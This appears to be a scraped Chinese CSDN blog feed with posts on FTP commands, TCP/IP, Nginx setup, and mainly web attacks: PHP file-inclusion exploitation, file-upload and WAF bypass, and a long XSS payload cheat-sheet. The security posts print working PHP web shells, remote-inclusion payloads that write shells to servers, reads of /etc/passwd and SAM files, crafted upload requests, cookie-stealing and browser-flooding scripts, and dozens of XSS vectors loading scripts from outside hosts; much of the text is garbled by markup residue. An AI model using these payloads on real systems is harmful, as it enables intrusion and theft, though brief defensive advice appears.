hots logs合天下

求天下者,积少成多
https://blog.csdn.net/
https://static-blog.csdn.net/images/logo.gif
https://blog.csdn.net/zxchhyg
https://blog.csdn.net/
https://blog.csdn.net/zxchhyg/article/details/
https://blog.csdn.net/zxchhyg/article/details/
步骤 1: 建立 FTP 连接
ftp domain.com
ftp 192.168.0.1
ftp&open 192.168.0.1
步骤 2: 使用用户名密码登录
步骤 3: 目录操作
打印目录列表
创建文件夹。
删除空文件夹,必须是空文件夹
步骤 4: 使用 FTP 下载文件
设定本地下载上传文件目录位置
例如:lcd d:\
下载文件,例如:get file
下载多个文件可以使用通配符
例如,下面这个例子我打算下载所有以 .xls 结尾的文件。mget *.xls
步骤 5: 使用 FTP 上传文件
上传文件,例如:put file
当文件不再当前本地目录下的时候,可以使用绝对路径:put /path/file
上传多个文件 ,例如:mput *.xls
是一个基于 MS
平台的功能强大的、 文件传输软件。使用了 Xftp 以后,MS windows 用户能安全地在
/ 和 Windows PC 之间传输文件。Xftp 能同时适应初级用户和高级用户的需要。它采用了标准的 Windows 风格的向导,它简单的界面能与其他 Windows 应用程序紧密地协同工作,此外它还为高级用户提供了众多强劲地功能特性。
作者:zxchhyg 发表于
https://blog.csdn.net/zxchhyg/article/details/
https://blog.csdn.net/zxchhyg/article/details/
https://blog.csdn.net/zxchhyg/article/details/
  文件包含漏洞是渗透测试过程中用得比较多的一个漏洞,主要用来绕过waf上传木马文件。今日在逛Tools论坛时,发现了一种新型的文件包含姿势,在此记录分享,并附上一些文件包含漏洞的基础利用姿势。
特殊姿势利用phar://协议特性可以在渗透过程中帮我们绕过一些waf检测,phar:// 数据流包装器自 PHP 5.3.0 起开始有效,貌似可以绕过安全狗。
利用过程新建shell.php代码内容:123&?phpinclude 'phar://test.rar/test.txt';?&
新建test.txt里的内容:123&?phpphpinfo();?&
压缩test.txt文件,可以重命名压缩文件为zip,phar,rar等格式,之后访问shell.php文件后,会出现phpinfo内容。
亲测有效在实验环境下,在test目录下新建shell.php,test.txt,并将test.txt打包成test.zip。shell.php内容如下:test.txt内容如下:访问shell.php:
php文件包含漏洞PHP中的文件包含分为本地包含与远程包含,导致文件包含的函数如下:
include_once()
require_once()
readfile()……
本地包含漏洞(LFI)新建一个phpinfo.txt,然后新建一个shell.php,写入:123&?php
Include("phpinfo.txt");?&
  访问shell.php会输出phpinfo页面内容,无论将扩展名改为什么,都将以php代码执行。如果文件不是符合php规则的(即没有写&?php ?&等),则通过include可以直接输出源码。
远程包含漏洞前提:需要开启allow_url_fopen,默认关闭。新建php.txt:123&?php
echo "hello world";?&
新建index.php:123&?php
Include($_GET['page']);?&
访问执行结果将输出hello world。
文件包含利用读取敏感信息如:Windows:12345c:\boot.inic:\windows\systems32\inetsrv\MetaBase.xmlc:\windows\repair\samc:\windows\php.ini
php配置文件c:\windows\my.ini
mysql配置文件
LINUX:12345/etc/passwd/usr/local/app/apache2/conf/http.conf/usr/local/app/php5/lib/php.ini
PHP相关设置/etc/httpd/conf/http.conf
apache配置文件/etc/my.cnf
mysql配置文件
远程包含shelltest.txt文件,可以保存在远程服务器上,内容如下:1&?fputs(fopen("shell.php","w"),"&?php eval($_POST[nmask]);?&")?&
  如果目标网站存在远程包含漏洞,则可以通过访问:则会在服务器根目录下生产一个shell.php内容为:1&?php
eval($_POST[nmask]);?&
本地包含配合文件上传如果目标服务器关闭了allow_url_fopen,则可以尝试使用本地包含+文件上传上传一个图片木马a.jpg,内容为:1&?fputs(fopen("shell.php","w"),"&?php eval($_POST[tzc]);?&")?&
访问URL:在本地生成shell.php。
本地包含配合apache日志拿shell  apache日志分为access.log与error.log,当我们请求一个url地址时,便会记录在access.log中,但如果访问一个不存在的页面,便会将这个页面写入access.log中。如访问URL:&?php eval([$_POST]);?&则会将一句话写入到access.log中,但是一般来说,写入到access.log文件中的一句话是被编码的,所以需要抓包绕过,而且利用此漏洞需要知道access.log的地址,不然便没有。
利用/proc/self/environ进行包含如:这是web进程运行时的环境变量,其中有些参数是可以被用户控制的,最常见做法就是在User-Agent中插入一句话。
利用php协议进行包含
data:  php5.2以后版本
php://input  需要开启allow_url_include
poc:1http://www.test.com/index.php?file=data:text/plain,&?php phpinfo();?&%00
截断包含有些开发者为了防止本地包含漏洞,会编写一下代码:123&?php
$_GET['page'].".php"?&
(一)00截断包含新建1.jpg:1&?fputs(fopen("shell.php","w"),"&?php eval($_POST[tzc]);?&")?&
  这样的话比如上传一个1.jpg图片码,则访问时,访问的是1.jgp.php,以为没有这个文件所以报错。这是,可以尝试访问
(二)使用长目录截断12345././././././././././././././etc/passwd或者////////////////////////////etc/passwd或者../a/etc/passwd/../a/etc/passwd/../a/etc/passwd
在windows下目录最大长度为256字节,linux下为4096字节,其后面超出部分被丢弃。
文件包含漏洞修复开启open_basedir函数,将其设置为指定目录,则只有该目录的文件允许被访问。关闭allow_url_include函数,防止远程文件包含。
jsp文件包含漏洞include123&%@ include file="head.jsp"%&&%@ include file="body.jsp"%&&%@ include file="tail.jsp"%&
jsp:include123&jsp:include page="head.jsp"/&&jsp:include page="body.jsp"/&
&jsp:include page="tail.jsp”/&
采用JSTL1&c:import url=""&
说明(1)include指令在转换时插入“Header.jsp”的源代码,而标准动作在运行时插入“Header.jsp”的响应。元素允许你包含动态文件和静态,而include说明标签仅仅是把一个文件内容当成静态追加到主文件中去。(2)采用前两种方式,只能包含当前web应用的界面,不过c:import可以包含容器之外的内容。
asp文件包含漏洞asp貌似无法包含远程文件(iis安全设置),只能包含本地文件,语法如下:1&!--
aspx文件包含漏洞aspx文件包含与asp一样,语法如下:1&!--
转载请说明出处:本文地址:
作者:zxchhyg 发表于
https://blog.csdn.net/zxchhyg/article/details/
阅读:3013
https://blog.csdn.net/zxchhyg/article/details/
https://blog.csdn.net/zxchhyg/article/details/
  文件上传漏洞可以说是日常渗透测试用得最多的一个漏洞,因为用它获得服务器权限最快最直接。但是想真正把这个漏洞利用好却不那么容易,其中有很多技巧,也有很多需要掌握的知识。俗话说,知己知彼方能百战不殆,因此想要研究怎么防护漏洞,就要了解怎么去利用。此篇文章主要分三部分:总结一些常见的上传文件校验方式,以及绕过校验的各种姿势,最后对此漏洞提几点防护建议。(根据个人经验总结,欢迎补充纠错~~)
文件上传校验姿势
客户端javascript校验(一般只校验后缀名)
服务端校验
文件头content-type字段校验(image/gif)
文件内容头校验(GIF89a)
后缀名黑名单校验
后缀名白名单校验
自定义正则校验
WAF设备校验(根据不同的WAF产品而定)
1.客户端校验  一般都是在网页上写一段javascript脚本,校验上传文件的后缀名,有白名单形式也有黑名单形式。  判断方式:在浏览加载文件,但还未点击上传按钮时便弹出对话框,内容如:只允许上传.jpg/.jpeg/.png后缀名的文件,而此时并没有发送数据包。
2.服务端校验2.1 content-type字段校验  这里以PHP代码为例,模拟web服务器端的校验代码123456789101112131415&?php
if($_FILES&/span&[&span class="string"&'userfile'&/span&][&span class="string"&'type'&/span&] != &span class="string"&"image/gif"&/span&)
&span class="comment"&#这里对上传的文件类型进行判断,如果不是image/gif类型便返回错误。&/span&&/div&&div class="line"&
&/div&&div class="line"&
&span class="built_in"&echo&/span& &span class="string"&"Sorry, we only allow uploading GIF images"&/span&;&/div&&div class="line"&
&span class="built_in"&exit&/span&;&/div&&div class="line"&
}&/div&&div class="line"&
&span class="variable"&$uploaddir = 'uploads/';
$uploadfile&/span& = &span class="variable"&$uploaddir . basename($_FILES&/span&[&span class="string"&'userfile'&/span&][&span class="string"&'name'&/span&]);&/div&&div class="line"&
&span class="keyword"&if&/span& (move_uploaded_file(&span class="variable"&$_FILES['userfile']['tmp_name'], $uploadfile))
echo "File is valid, and was successfully uploaded.\n";
echo "File uploading failed.\n";
  可以看到代码对上传文件的文件类型进行了判断,如果不是图片类型,返回错误。
2.2 文件头校验  可以通过自己写正则匹配,判断文件头内容是否符合要求,这里举几个常见的文件头对应关系:(1)
.JPEG;.JPE;.JPG,”JPGGraphic File”(2)
.gif,”GIF 89A”(3)
.zip,”Zip Compressed”(4)
.....apr,”MS Compound Document v1 or Lotus Approach APRfile”
文件上传绕过校验姿势
客户端绕过(抓包改包)
服务端绕过
文件后缀名
配合文件包含漏洞绕过
配合服务器解析漏洞绕过
CMS、编辑器漏洞绕过
配合操作系统文件命名规则绕过
配合其他规则绕过
1.客户端绕过  可以利用burp抓包改包,先上传一个gif类型的木马,然后通过burp将其改为asp/php/jsp后缀名即可。
2.服务端绕过2.1 文件类型绕过  我们可以通过抓包,将content-type字段改为image/gif123456789101112POST /upload.php HTTP/1.1TE: deflate,q=0.3Connection: TE, closeHost: localhostUser-Agent: libwww-perl/5.803Content-Type: multipart/form- boundary=xYzZYContent-Length: 155--xYzZYContent-Disposition: form- name="userfile"; filename="shell.php"Content-Type: image/gif (原为 Content-Type: text/plain)&?php system($_GET['command']);?&--xYzZY-
2.2 文件头绕过  在木马内容基础上再加了一些文件信息,有点像下面的结构GIF89a&?php phpinfo(); ?&
2.3 文件后缀名绕过前提:黑名单校验黑名单检测:一般有个专门的 blacklist 文件,里面会包含常见的危险脚本文件。绕过方法:(1)找黑名单扩展名的漏网之鱼 - 比如 asa 和 cer 之类(2)可能存在大小写绕过漏洞 - 比如 aSp 和 pHp 之类能被解析的文件扩展名列表:jsp
3.配合文件包含漏洞前提:校验规则只校验当文件后缀名为asp/php/jsp的文件内容是否为木马。绕过方式:(这里拿php为例,此漏洞主要存在于PHP中)(1)先上传一个内容为木马的txt后缀文件,因为后缀名的关系没有检验内容;(2)然后再上传一个.php的文件,内容为&?php Include(“上传的txt文件路径”);?&此时,这个php文件就会去引用txt文件的内容,从而绕过校验,下面列举包含的语法:12345678&?php Include("上传的txt文件路径");?& &!--&jsp:inclde page="上传的txt文件路径"/&or
&%@include file="上传的txt文件路径"%&
详细参考:
4.配合服务器解析漏洞详细可参考:服务器解析漏洞/
5.配合操作系统文件命令规则(1)上传不符合windows文件命名规则的文件名  test.asp.  test.asp(空格)  test.php:1.jpg  test.php::DATA&br&  shell.php::DATA…….会被windows系统自动去掉不符合规则符号后面的内容。(2)linux下后缀名大小写在linux下,如果上传php不被解析,可以试试上传pHp后缀的文件名。
6.CMS、编辑器漏洞(1)CMS漏洞:比如说JCMS等存在的漏洞,可以针对不同CMS存在的上传漏洞进行绕过。(2)编辑器漏洞:比如FCK,ewebeditor等,可以针对编辑器的漏洞进行绕过。这两方面的漏洞以后单独成文汇总,这里点到为止。
7.配合其他规则(1)0x00截断:基于一个组合逻辑漏洞造成的,通常存在于构造上传文件路径的时候  test.php(0x00).jpg  test.php%00.jpg  路径/upload/1.php(0x00),文件名1.jpg,结合/upload/1.php(0x00)/1.jpg伪代码演示:12345name= getname(httprequest) //假如这时候获取到的文件名是 help.asp.jpg(asp 后面为 0x00)type =gettype(name)
//而在 gettype()函数里处理方式是从后往前扫描扩展名,所以判断为 jpgif(type == jpg)
SaveFileToPath(UploadPath.name, name)
//但在这里却是以 0x00 作为文件名截断//最后以 help.asp 存入路径里
8.WAF绕过8.1 垃圾数据  有些主机WAF软件为了不影响web服务器的性能,会对校验的用户数据设置大小上限,比如1M。此种情况可以构造一个大文件,前面1M的内容为垃圾内容,后面才是真正的木马内容,便可以绕过WAF对文件内容的校验;当然也可以将垃圾数据放在数据包最开头,这样便可以绕过对文件名的校验。可以将垃圾数据加上Content-Disposition参数后面,参数内容过长,可能会导致waf检测出错。
8.2 filename针对早期版本安全狗,可以多加一个filename或者将filename换位置,在IIS6.0下如果我们换一种书写方式,把filename放在其他地方:
8.3 POST/GET有些WAF的规则是:如果数据包为POST类型,则校验数据包内容。此种情况可以上传一个POST型的数据包,抓包将POST改为GET。
8.4 以上方式针对WAF,以上介绍的服务器解析漏洞、文件包含漏洞等都可以尝试绕过。
————————————————更新————————————————–
8.5 利用waf本身缺陷删除实体里面的Conten-Type字段第一种是删除Content整行,第二种是删除C后面的字符。删除掉ontent-Type: image/jpeg只留下c,将.php加c后面即可,但是要注意额,双引号要跟着c.php。123正常包:Content-Disposition: form- name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png构造包:Content-Disposition: form- name="image"; filename="085733uykwusqcs8vw8wky.pngC.php"
删除Content-Disposition字段里的空格增加一个空格导致安全狗被绕过案列:Content-Type: multipart/form- boundary=—————————5099尝试在boundary后面加个空格或者其他可被正常处理的字符:boundary= —————————50
修改Content-Disposition字段值的大小写
Boundary边界不一致每次文件上传时的Boundary边界都是一致的:12345678Content-Type: multipart/form- boundary=---------------------------5099Content-Length: 253-----------------------------5099Content-Disposition: form- name="file1"; filename="shell.asp"Content-Type: application/octet-stream&%eval request("a")%&-----------------------------5099--
但如果容器在处理的过程中并没有严格要求一致的话可能会导致一个问题,两段Boundary不一致使得waf认为这段数据是无意义的,可是容器并没有那么严谨:Win2k3 + IIS6.0 + ASP
文件名处回车
多个Content-Disposition在IIS的环境下,上传文件时如果存在多个Content-Disposition的话,IIS会取第一个Content-Disposition中的值作为接收参数,而如果waf只是取最后一个的话便会被绕过,Win2k8 + IIS7.0 + PHP
利用NTFS ADS特性ADS是NTFS磁盘格式的一个特性,用于NTFS交换数据流。在上传文件时,如果waf对请求正文的filename匹配不当的话可能会导致绕过。
其他情况补充文件重命名绕过如果web程序会将filename除了扩展名的那段重命名的话,那么还可以构造更多的点、符号等等。
特殊的长文件名绕过文件名使用非字母数字,比如中文等最大程度的拉长,不行的话再结合一下其他的特性进行测试:shell.王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王.jpg
反删除将下图file1改成了file4,这样就不会把这个文件删除了。(JCMS漏洞)
文件校验的几点建议
文件扩展名服务端白名单校验。
文件内容服务端校验。
上传文件重命名。
隐藏上传文件路径。
  以上几点,可以防御绝大多数上传漏洞,但是需要跟服务器容器结合起来。如果解析漏洞依然存在,那么没有绝对的安全。
参考文章:还有一篇tools上大牛的文章,url暂时找不到了……
转载请说明出处:本文地址:
作者:zxchhyg 发表于
https://blog.csdn.net/zxchhyg/article/details/
阅读:3573
https://blog.csdn.net/zxchhyg/article/details/
https://blog.csdn.net/zxchhyg/article/details/
1、这个应该都知道
alert("test") 11
常用于 是否存在跨站
2、这句代码将会弹出壹个包含有浏览者cookie信息的对话框,如果用户已经通过帐号登陆网站,在显示的cookie信息中将会包含有用户的账户名和密码。
window.alert(document.cookie);11
3、当用户浏览该 页时,将弹出壹个高爲200,宽爲200的网页窗口,在其中打开的页面是
window.open('http://www.pete.cn /default.asp','newwindow','width=200,height=200');11
4、跨站攻击的形式是多样的,不仅可以在网页中插入跨站脚本代码,而且可以在flash文件中插入跨站脚本代码,实现跨站攻击。由于flash文件有较高 的安全性,用户通常对flash文件的警惕性不够,因此用flash文件进行跨站攻击的成功率很高。如果将这个含有跨站脚本代码的flash文件插入到网 页中,例如制作成网页banner或者广告,那么中招的用户将更多。
flash跨站是通过在flash文件中插入动作脚本来实现的,通过在flash文件“帧”的“动作”中插入跨站脚本代码来实现跨站攻击,其实现方法入下:
首先运行flash文件制作工具flash8.exe,新建壹个空白的flash文档。然后选中其中的第壹帧,进入界面下方的“动作”编辑界面,在Action Script中插入我们的跨站脚本代码
getURL("http://网页木马地址", "_blank", "GET");
loadMovieNum("http://www.pete.cn/test.swf", 0);1212
5、这就是 传说中的框架 - - 膜拜吧 还有JS 也可以使用,比框架更隐蔽
<iframe src="http://www.cnblogs.com/Wulex/
width=0 height=0&& iframe&
6、Refresh到另壹个页面:
7、scriptlet引入另壹个页面:
&object type="text/x-scriptlet" data="http://www.attacker.com/import.htm"&&/object&11
下面来几段长的 但是 记住 要慎用 !!
1、打开无数个浏览器窗口,直至CPU超负荷,非关机不可:
while (true)
window.open("URI");
1234567812345678
修改注册表(IE 主页):
Set RegWsh = CreateObject("WScript.Shell");
RegWsh.RegWrite("HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.attacker.com");
123456123456
有时候, 可以替换大小写 来躲过过滤
作者:zxchhyg 发表于
https://blog.csdn.net/zxchhyg/article/details/
阅读:2191
https://blog.csdn.net/zxchhyg/article/details/
https://blog.csdn.net/zxchhyg/article/details/
一、什么是XSS?
XSS全称是Cross Site Scripting即跨站脚本,当目标网站目标用户浏览器渲染HTML文档的过程中,出现了不被预期的脚本指令并执行时,XSS就发生了。
这里我们主要注意四点:1、目标网站目标用户;2、浏览器;3、不被预期;4、脚本。
二、XSS有什么危害?
当我们知道了什么是XSS后,也一定很想知道它到底有什么用,或者有什么危害,如何防御。
关于XSS有关危害,我这里中罗列一段列表,详细介绍不进行更多的赘述:
盗取用户Cookie。
DOS(拒绝服务)客户端浏览器。
钓鱼攻击,高级的钓鱼技巧。
删除目标文章、恶意篡改数据、嫁祸。
劫持用户Web行为,甚至进一步渗透内网。
爆发Web2.0蠕虫。
蠕虫式的DDoS攻击。
蠕虫式挂马攻击、刷广告、刷浏量、破坏网上数据。。。
三、XSS分类
XSS有三类:反射型XSS(非持久型)、存储型XSS(持久型)和DOM XSS。
1、反射型XSS
发出请求时,XSS代码出现在URL中,作为输入提交到服务器端,服务器端解析后响应,XSS代码随响应内容一起传回给浏览器,最后浏览器解析执行XSS代码。这个过程像一次反射,故叫反射型XSS。
一个简单的例子:
的代码如下:
echo $_GET['x'];
?&1234512345
如果输入x的值未经任何过滤就直接输出,提交:
则alert()函数会在浏览器触发。
2、存储型XSS
存储型XSS和反射型XSS的差别仅在于,提交的代码会存储在服务器端(,内存,文件系统等),下次请求目标页面时不用再提交XSS代码
最典型的例子是留言板XSS,用户提交一条包含XSS代码的留言存储到数据库,目标用户查看留言板时,那些留言的内容会从数据库查询出来并显示,浏览器发现有XSS代码,就当做正常的HTML与Js解析执行,于是触发了XSS攻击。
3、DOM XSS
DOM XSS和反射型XSS、存储型XSS的差别在于DOM XSS的代码并不需要服务器参与,触发XSS靠的是浏览器端的DOM解析,完全是客户端的事情。
代码如下:
eval(location.hash.substr(1));
1234512345
触发方式为:
这个URL#后的内容是不会发送到服务器端的,仅仅在客户端被接收并解执行。
常见的输入点有:
document.URL
document.URLUnencoded
document.location
document.referrer
window.location
window.name12345678910111234567891011
xhr请求回来的数据
document.cookie11
表单项的值
常见的输出点有:
直接输出html内容,如:
document.write(…)
document.writeln(…)
document.body.innerHtml=…
直接修改DOM树(包括DHTML)如:
document.forms[0].action…(以及其他集合,如:一些对象的src/href属性等)
document.attachEvent(…)
document.create…(…)
document.execCommand(…)
document.body. …(直接通过body对象访问DOM)
window.attachEvent(…)
替换document URL,如:
document.location=…(以及直接赋值给location的href,host,hostname属性)
document.location.hostname=…
document.location.replace(…)
document.location.assign(…)
document.URL=…
window.navigate(…)
打开或修改新窗口,如:
document.open(…)
window.open(…)
window.location.href=…(以及直接赋值给location的href,host,hostname属性)
直接执行脚本,如:
window.execScript(…)
window.setInterval(…)
window.setTimeout(…)
_____________________________附常见的XSS攻击方法_________________________________
(1)普通的XSS JavaScript注入
SCRIPT SRC=http://3w.org/XSS/xss.js&SCRIPT&
(2)IMG标签XSS使用JavaScript命令
SCRIPT SRC=http://3w.org/XSS/xss.js&SCRIPT&
(3)IMG标签无分号无引号
IMG SRC=javascript:alert(‘XSS’)&
(4)IMG标签大小写不敏感
IMG SRC=JaVaScRiPt:alert(‘XSS’)&
(5)HTML编码(必须有分号)
IMG SRC=javascript:alert(“XSS”)&
(6)修正缺陷IMG标签
IMG “”"&SCRIPT&alert(“XSS”)SCRIPT&”&
(7)formCharCode标签(计算器)
IMG SRC=javascript:alert(String.fromCharCode(88,83,83))&
(8)UTF-8的Unicode编码(计算器)
IMG SRC=jav..省略..S')&
(9)7位的UTF-8的Unicode编码是没有分号的(计算器)
IMG SRC=jav..省略..S')&
(10)十六进制编码也是没有分号(计算器)
IMG SRC=&#x6A&#x61&#x76&#x61..省略..&#x58&#x53&#x53&#x27&#x29&
(11)嵌入式标签,将Javascript分开
IMG SRC=”jav ascript:alert(‘XSS’);”&
(12)嵌入式编码标签,将Javascript分开
IMG SRC=”jav ascript:alert(‘XSS’);”&
(13)嵌入式换行符
IMG SRC=”jav ascript:alert(‘XSS’);”&
(14)嵌入式回车
IMG SRC=”jav ascript:alert(‘XSS’);”&
(15)嵌入式多行注入JavaScript,这是XSS极端的例子
IMG SRC=”javascript:alert(‘XSS‘)”&
(16)解决限制字符(要求同页面)
script&z=’document.’script&
script&z=z+’write(“‘script&
script&z=z+’&script’script&
script&z=z+’ src=ht’script&
script&z=z+’tp:script&
script&z=z+’w.shell’script&
script&z=z+’.net/1.’script&
script&z=z+’js&sc’script&
script&z=z+’ript&”)’script&
script&eval_r(z)script&
(17)空字符12-7-1 T00LS - Powered by Discuz! Board
https://www.t00ls.net/viewthread.php?action=printable&tid=
perl -e ‘print “IMG SRC=java\0script:alert(\”XSS\”)&”;’ & out
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
perl -e ‘print “SCR\0IPT&alert(\”XSS\”)SCR\0IPT&”;’ & out
(19)Spaces和meta前的IMG标签
IMG SRC=” javascript:alert(‘XSS’);”&
(20)Non-alpha-non-digit XSS
SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”&SCRIPT&
(21)Non-alpha-non-digit XSS to 2
BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)&
(22)Non-alpha-non-digit XSS to 3
SCRIPT/SRC=”http://3w.org/XSS/xss.js”&SCRIPT&
(23)双开括号
SCRIPT&alert(“XSS”);//SCRIPT&
(24)无结束脚本标记(仅火狐等浏览器)
SCRIPT SRC=http://3w.org/XSS/xss.js?&B&
(25)无结束脚本标记2
&SCRIPT SRC=
(26)半开的HTML/JavaScript XSS
&IMG SRC=”javascript:alert(‘XSS’)”
(27)双开角括号
&iframe src=http:
(28)无单引号 双引号 分号
&SCRIPT&a=/XSS/
alert(a.source)SCRIPT&
(29)换码过滤的JavaScript
\”;alert(‘XSS’);//
(30)结束Title标签
TITLE&SCRIPT&alert(“XSS”);SCRIPT&
(31)Input Image
INPUT SRC=”javascript:alert(‘XSS’);”&
(32)BODY Image
BODY BACKGROUND=”javascript:alert(‘XSS’)”&
(33)BODY标签
BODY(‘XSS’)&
(34)IMG Dynsrc
IMG DYNSRC=”javascript:alert(‘XSS’)”&
(35)IMG Lowsrc
IMG LOWSRC=”javascript:alert(‘XSS’)”&
(36)BGSOUND
BGSOUND SRC=”javascript:alert(‘XSS’);”&
(37)STYLE sheet
LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”&
(38)远程样式表
LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”&
(39)List-style-image(列表式)
STYLE& {list-style-image: url(“javascript:alert(‘XSS’)”);}STYLE&UL&LI&XSS
(40)IMG VBscript
IMG SRC=’vbscript:msgbox(“XSS”)’&STYLE&UL&LI&XSS
(41)META链接url
META HTTP-EQUIV=”refresh” CONTENT=”0;
URL=http://;URL=javascript:alert(‘XSS’);”&
(42)Iframe
IFRAME SRC=”javascript:alert(‘XSS’);”&IFRAME&
FRAMESET&FRAME SRC=”javascript:alert(‘XSS’);”&FRAMESET&12-7-1 T00LS - Powered by Discuz! Board
https://www.t00ls.net/viewthread.php?action=printable&tid=
TABLE BACKGROUND=”javascript:alert(‘XSS’)”&
TABLE&TD BACKGROUND=”javascript:alert(‘XSS’)”&
(46)DIV background-image
DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”&
(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-
DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”&
(48)DIV expression
DIV STYLE=”width: expression_r(alert(‘XSS’));”&
(49)STYLE属性分拆表达
IMG STYLE=”xss:expression_r(alert(‘XSS’))”&
(50)匿名STYLE(组成:开角号和一个字母开头)
XSS STYLE=”xss:expression_r(alert(‘XSS’))”&
(51)STYLE background-image
STYLE&.XSS{background-image:url(“javascript:alert(‘XSS’)”);}STYLE&A
CLASS=XSS&A&
(52)IMG STYLE方式
exppression(alert(“XSS”))’&
(53)STYLE background
=”/”&{background:url(“javascript:alert(‘XSS’)”)}STYLE&
BASE HREF=”javascript:alert(‘XSS’);//”&
(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
EMBED SRC=”http://3w.org/XSS/xss.swf” &EMBED&
(56)在flash中使用ActionScrpt可以混进你XSS的代码
a=”get”;
b=”URL(\”";
c=”javascript:”;
d=”alert(‘XSS’);\”)”;
eval_r(a+b+c+d);
(57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上
HTML xmlns:xss&
&?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”&
&xss:xss&XSS&/xss:xss&
(58)如果过滤了你的JS你可以在图片里添加JS代码来利用
&SCRIPT SRC=””&&/SCRIPT&
(59)IMG嵌入式命令,可执行任意命令
&IMG SRC=”http://www.XXX.com/a.php?a=b”&
(60)IMG嵌入式命令(a.jpg在同服务器)
Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser
(61)绕符号过滤
&SCRIPT a=”&” SRC=”http://3w.org/xss.js”&&/SCRIPT&
&SCRIPT =”&” SRC=”http://3w.org/xss.js”&&/SCRIPT&
&SCRIPT a=”&” ” SRC=”http://3w.org/xss.js”&&/SCRIPT&
&SCRIPT “a=’&’” SRC=”http://3w.org/xss.js”&&/SCRIPT&
&SCRIPT a=`&` SRC=”http://3w.org/xss.js”&&/SCRIPT&
(66)12-7-1 T00LS - Powered by Discuz! Board
https://www.t00ls.net/viewthread.php?action=printable&tid=
&SCRIPT a=”&’&” SRC=”http://3w.org/xss.js”&&/SCRIPT&
&SCRIPT&document.write(“&SCRI”);&/SCRIPT&PT SRC=”http://3w.org/xss.js”&
(68)URL绕行
&A HREF=”http://127.0.0.1/”&XSS&/A&
(69)URL编码
&A HREF=”http://3w.org”&XSS&/A&
(70)IP十进制
&A HREF=”http://″&XSS&/A&
(71)IP十六进制
&A HREF=”http://0xc0.0xa8.0×00.0×01″&XSS&/A&
(72)IP八进制
&A HREF=”http://00.0001″&XSS&/A&
(73)混合编码
&A HREF=”h
tt p://6 6.×7.147/”"&XSS&/A&
(74)节省[http:]
&A HREF=”//www.google.com/”&XSS&/A&
(75)节省[www]
&A HREF=”http://google.com/”&XSS&/A&
(76)绝对点绝对DNS
&A HREF=”http://www.google.com./”&XSS&/A&
(77)javascript链接
&A HREF=”javascript:document.location=’http://www.google.com/’”&XSS&/A&
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181
作者:zxchhyg 发表于
https://blog.csdn.net/zxchhyg/article/details/
阅读:1006
https://blog.csdn.net/zxchhyg/article/details/
https://blog.csdn.net/zxchhyg/article/details/
socket则是对TCP/IP协议的封装和应用(程序员层面上)。
  也可以说,TPC/IP协议是传输层协议,主要解决数据如何在网络中传输,
  而HTTP是应用层协议,主要解决如何包装数据。
  关于TCP/IP和HTTP协议的关系,网络有一段比较容易理解的介绍:
  “我们在传输数据时,可以只使用(传输层)TCP/IP协议,但是那样的话,如果没有应用层,便无法识别数据内容。
  如果想要使传输的数据有意义,则必须使用到应用层协议。
WEB使用HTTP协议作应用层协议,以封装HTTP文本信息,然后使用TCP/IP做传输层协议将它发到网络上。”
  而我们平时说的最多的socket是什么呢,实际上socket是对TCP/IP协议的封装,Socket本身并不是协议,而是一个调用接口(API)。
  通过Socket,我们才能使用TCP/IP协议。
  实际上,Socket跟TCP/IP协议没有必然的联系。
  Socket编程接口在设计的时候,就希望也能适应其他的网络协议。
  所以说,Socket的出现只是使得程序员更方便地使用TCP/IP协议栈而已,是对TCP/IP协议的抽象,从而形成了我们知道的一些最基本的函数接口,比如create、listen、connect、accept、send、read和write等等。
CSDN上有个比较形象的描述:HTTP是轿车,提供了封装或者显示数据的具体形式;Socket是发动机,提供了网络通信的能力。
  实际上,传输层的TCP是基于网络层的IP协议的,而应用层的HTTP协议又是基于传输层的TCP协议的,而Socket本身不算是协议,就像上面所说,它只是提供了一个针对TCP或者UDP编程的接口。
  下面的图表试图显示不同的TCP/IP和其他的协议在最初OSI模型中的位置:
、、、、、、、、、、、
例如、、、、
例如、、、ISO
8327 / CCITTX.225、、、、、
例如、、、、、、
例如、、、、、、、、、、、
数据链路层
例如、、、、、、、、
例如、、、
作者:zxchhyg 发表于
https://blog.csdn.net/zxchhyg/article/details/
https://blog.csdn.net/zxchhyg/article/details/
https://blog.csdn.net/zxchhyg/article/details/
Nginx安装环境
Nginx是C语言开发,建议在linux上运行,本教程使用Centos7 x64安装环境。
安装nginx需要先将官网下载的源码进行编译,编译依赖gcc环境,如果没有gcc环境,需要安装gcc:yum install gcc-c++
PCRE(Perl Compatible Regular Expressions)是一个Perl库,包括 perl 兼容的正则表达式库。nginx的http模块使用pcre来解析正则表达式,所以需要在linux上安装pcre库。yum install -y pcre pcre-devel
注:pcre-devel是使用pcre开发的一个二次开发库。nginx也需要此库。
zlib库提供了很多种压缩和解压缩的方式,nginx使用zlib对http包的内容进行gzip,所以需要在linux上安装zlib库。
yum install -y zlib zlib-devel
4、Openssl
OpenSSL 是一个强大的安全套接字层密码库,囊括主要的密码算法、常用的密钥和证书封装管理功能及SSL协议,并提供丰富的应用程序供测试或其它目的使用。
nginx不仅支持http协议,还支持https(即在ssl协议上传输http),所以需要在linux安装openssl库。
yum install -y openssl openssl-devel
5、编译安装
